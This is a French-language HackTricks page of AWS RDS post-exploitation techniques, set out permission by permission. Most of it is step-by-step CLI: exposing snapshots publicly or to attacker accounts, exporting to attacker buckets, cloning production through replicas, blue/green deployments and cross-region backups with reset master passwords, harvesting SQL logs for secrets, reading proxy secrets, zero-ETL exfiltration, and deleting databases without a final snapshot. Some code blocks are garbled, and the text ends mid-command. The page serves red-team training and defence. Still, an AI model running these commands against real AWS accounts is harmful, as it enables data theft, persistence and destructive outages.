AWS - RDS Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

RDS

Pour plus d’informations, consultez :

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si l’attaquant dispose de permissions suffisantes, il pourrait rendre une DB accessible publiquement en crĂ©ant un snapshot de la DB, puis restaurer une DB accessible publiquement Ă  partir du snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l’arrĂȘt immĂ©diat d’une instance RDS ou d’un cluster entier, provoquant une indisponibilitĂ© de la base de donnĂ©es, des connexions rompues et l’interruption des processus qui dĂ©pendent de la base de donnĂ©es.

Pour arrĂȘter une seule instance de DB (exemple) :

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Pour arrĂȘter un cluster DB entier (exemple) :

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

Un attaquant disposant des permissions rds:Modify* peut modifier des configurations critiques et des ressources auxiliaires (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sans toucher directement l’instance ou le cluster. Des changements tels que l’ajustement des connection/time-out parameters, la modification d’un proxy endpoint, le changement des certificates de confiance, la modification de la capacitĂ© logique ou la reconfiguration d’un subnet group peuvent affaiblir la sĂ©curitĂ© (ouvrir de nouveaux chemins d’accĂšs), casser le routage et le load-balancing, invalider les replication/backup policies, et gĂ©nĂ©ralement dĂ©grader la disponibilitĂ© ou la capacitĂ© de rĂ©cupĂ©ration. Ces modifications peuvent aussi faciliter une data exfiltration indirecte ou gĂȘner une rĂ©cupĂ©ration ordonnĂ©e de la base de donnĂ©es aprĂšs un incident.

Déplacer ou modifier les subnets assignés à un RDS subnet group :

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

Modifier les paramĂštres bas niveau du moteur dans un cluster parameter group:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

Un attaquant disposant des autorisations rds:Restore* peut restaurer des bases de donnĂ©es entiĂšres Ă  partir de snapshots, de sauvegardes automatisĂ©es, de point-in-time recovery (PITR), ou de fichiers stockĂ©s dans S3, en crĂ©ant de nouvelles instances ou clusters peuplĂ©s avec les donnĂ©es du point sĂ©lectionnĂ©. Ces opĂ©rations n’écrasent pas les ressources originales — elles crĂ©ent de nouveaux objets contenant les donnĂ©es historiques — ce qui permet Ă  un attaquant d’obtenir des copies complĂštes et fonctionnelles de la base de donnĂ©es (issues de points temporels passĂ©s ou de fichiers S3 externes) et de les utiliser pour exfiltrer des donnĂ©es, manipuler des enregistrements historiques ou reconstruire des Ă©tats antĂ©rieurs.

Restaurer une instance DB à un point précis dans le temps :

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

Un attaquant auquel on a accordé rds:Delete* peut supprimer des ressources RDS, supprimant des instances DB, des clusters, des snapshots, des sauvegardes automatisées, des groupes de sous-réseaux, des groupes de paramÚtres/options et des artefacts associés, provoquant une interruption de service immédiate, une perte de données, la destruction des points de récupération et la perte de preuves médico-légales.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaquant disposant de ces permissions pourrait crĂ©er un snapshot d’une DB et le rendre publiquement accessible. Ensuite, il pourrait simplement crĂ©er dans son propre compte une DB Ă  partir de ce snapshot.

Si l’attaquant ne possĂšde pas la permission rds:CreateDBSnapshot, il pourrait quand mĂȘme rendre d’autres snapshots créés publics.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaquant disposant de la permission rds:DownloadDBLogFilePortion peut tĂ©lĂ©charger des portions des fichiers journaux d’une instance RDS. Si des donnĂ©es sensibles ou des identifiants d’accĂšs sont enregistrĂ©s accidentellement, l’attaquant pourrait potentiellement utiliser ces informations pour Ă©lever ses privilĂšges ou effectuer des actions non autorisĂ©es.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impact potentiel: AccÚs à des informations sensibles ou actions non autorisées en utilisant leaked credentials.

rds:DeleteDBInstance

Un attaquant disposant de ces autorisations peut DoS existing RDS instances.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potential impact: Suppression des instances RDS existantes et perte potentielle de données.

rds:StartExportTask

Note

TODO: Tester

Un attaquant disposant de cette permission peut exporter un snapshot d’une instance RDS vers un bucket S3. Si l’attaquant contrĂŽle le bucket S3 de destination, il peut potentiellement accĂ©der Ă  des donnĂ©es sensibles contenues dans le snapshot exportĂ©.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impact potentiel: AccÚs à des données sensibles dans le snapshot exporté.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Abusez de la rĂ©plication des sauvegardes automatisĂ©es inter-rĂ©gion pour dupliquer discrĂštement les sauvegardes automatisĂ©es d’une instance RDS dans une autre rĂ©gion AWS et y restaurer la base. L’attaquant peut ensuite rendre la DB restaurĂ©e accessible publiquement et rĂ©initialiser le mot de passe master pour accĂ©der aux donnĂ©es hors bande dans une rĂ©gion que les dĂ©fenseurs pourraient ne pas surveiller.

Permissions requises (minimum) :

  • rds:StartDBInstanceAutomatedBackupsReplication dans la rĂ©gion de destination
  • rds:DescribeDBInstanceAutomatedBackups dans la rĂ©gion de destination
  • rds:RestoreDBInstanceToPointInTime dans la rĂ©gion de destination
  • rds:ModifyDBInstance dans la rĂ©gion de destination
  • rds:StopDBInstanceAutomatedBackupsReplication (nettoyage optionnel)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (pour exposer la DB restaurĂ©e)

Impact : Persistance et exfiltration de donnĂ©es en restaurant une copie des donnĂ©es de production dans une autre rĂ©gion et en l’exposant publiquement avec des identifiants contrĂŽlĂ©s par l’attaquant.

CLI de bout en bout (remplacez les espaces réservés) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Activer la journalisation SQL complĂšte via DB parameter groups et exfiltrer via RDS log APIs

Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exĂ©cutĂ©es par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et rĂ©cupĂ©rer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requĂȘtes pouvant contenir des secrets/PII/JWTs.

Permissions requises (minimum) :
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise celui par défaut)
- `rds:RebootDBInstance` (pour les paramÚtres nécessitant un redémarrage, par ex., PostgreSQL)

Étapes
1) Recon de la cible et du parameter group actuel
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Assurez-vous qu’un DB parameter group personnalisĂ© est attachĂ© (impossible de modifier le paramĂštre par dĂ©faut)
  • Si l’instance utilise dĂ©jĂ  un DB parameter group personnalisĂ©, rĂ©utilisez son nom Ă  l’étape suivante.
  • Sinon, crĂ©ez et attachez-en un correspondant Ă  la famille du moteur :
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Activer la journalisation SQL détaillée
  • MySQL engines (immĂ©diat / sans redĂ©marrage):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • Moteurs PostgreSQL (redĂ©marrage nĂ©cessaire) :
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Laisser la charge de travail s’exĂ©cuter (ou gĂ©nĂ©rer des requĂȘtes). Les statements seront consignĂ©s dans les fichiers de logs du moteur
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Découvrir et télécharger les logs (aucun identifiant DB requis)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Analyser hors ligne pour des données sensibles
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Exemple de preuve (caviardée) :

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Nettoyage

  • RĂ©tablir les paramĂštres par dĂ©faut et redĂ©marrer si nĂ©cessaire :
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Impact : AccĂšs aux donnĂ©es post-exploitation en capturant toutes les instructions SQL de l’application via les APIs AWS (no DB creds), potentially leaking secrets, JWTs, and PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Exploiter les read replicas RDS pour obtenir un accĂšs en lecture hors-bande sans toucher aux credentials de l’instance primary. Un attaquant peut crĂ©er une read replica Ă  partir d’une instance de production, rĂ©initialiser le master password de la replica (cela ne change pas celui du primary), et Ă©ventuellement exposer la replica publiquement pour exfiltrate data.

Permissions requises (minimum) :

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (si exposition publique)

Impact : AccĂšs en lecture seule aux donnĂ©es de production via une replica avec des credentials contrĂŽlĂ©s par l’attaquant ; probabilitĂ© de dĂ©tection plus faible car le primary reste intact et la replication continue.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Exemple de preuves (MySQL) :

  • Statut de la DB rĂ©pliquĂ©e : available, rĂ©plication en lecture : replicating
  • Connexion rĂ©ussie avec le nouveau mot de passe et @@read_only=1 confirmant l’accĂšs en lecture seule Ă  la rĂ©plique.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Exploiter RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement rĂ©pliquĂ© en lecture seule. Puis rĂ©initialiser les identifiants du master green pour accĂ©der aux donnĂ©es sans toucher Ă  l’instance blue (prod). C’est plus discret que le snapshot sharing et contourne souvent la surveillance qui ne se concentre que sur la source.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impact : AccĂšs en lecture seule mais accĂšs complet aux donnĂ©es d’un clone de production quasi temps rĂ©el sans modifier l’instance de production. Utile pour l’extraction discrĂšte de donnĂ©es et l’analyse hors ligne.

SQL hors-bande via RDS Data API en activant l’HTTP endpoint + rĂ©initialisation du mot de passe principal

Abusez d’Aurora pour activer l’HTTP endpoint du RDS Data API sur un cluster cible, rĂ©initialiser le mot de passe principal vers une valeur que vous contrĂŽlez, et exĂ©cuter du SQL via HTTPS (aucun chemin rĂ©seau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions d’Aurora PostgreSQL/MySQL).

Permissions (minimales):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB.

CLI de bout en bout (exemple Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

Remarques :
- Si les requĂȘtes SQL multi-instructions sont rejetĂ©es par rds-data, lancez des appels execute-statement sĂ©parĂ©s.
- Pour les moteurs oĂč modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
- Assurez-vous que le moteur/version prend réellement en charge la Data API ; sinon HttpEndpointEnabled restera False.


### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Abusez la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification cÎté backend, puis lisez le secret pour obtenir les identifiants de la base de données. De nombreux environnements accordent largement `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal limitées peuvent également permettre `kms:Decrypt`.

Permissions requises (minimum) :
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé

Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accÚs direct à la DB ou des mouvements latéraux supplémentaires.

Étapes
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Laboratoire (minimal pour reproduire)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Nettoyage (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)

Exploiter l’intĂ©gration zero‑ETL d’Aurora PostgreSQL pour rĂ©pliquer en continu les donnĂ©es de production dans un namespace Redshift Serverless que vous contrĂŽlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spĂ©cifique, un attaquant peut Ă©tablir une copie des donnĂ©es quasi temps‑rĂ©el sans DB creds, snapshots ni exposition rĂ©seau.

Permissions nécessaires (minimum) :

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Créer un namespace Redshift Serverless + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) CrĂ©er un cluster Aurora PostgreSQL (activer Data API et rĂ©plication logique) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier 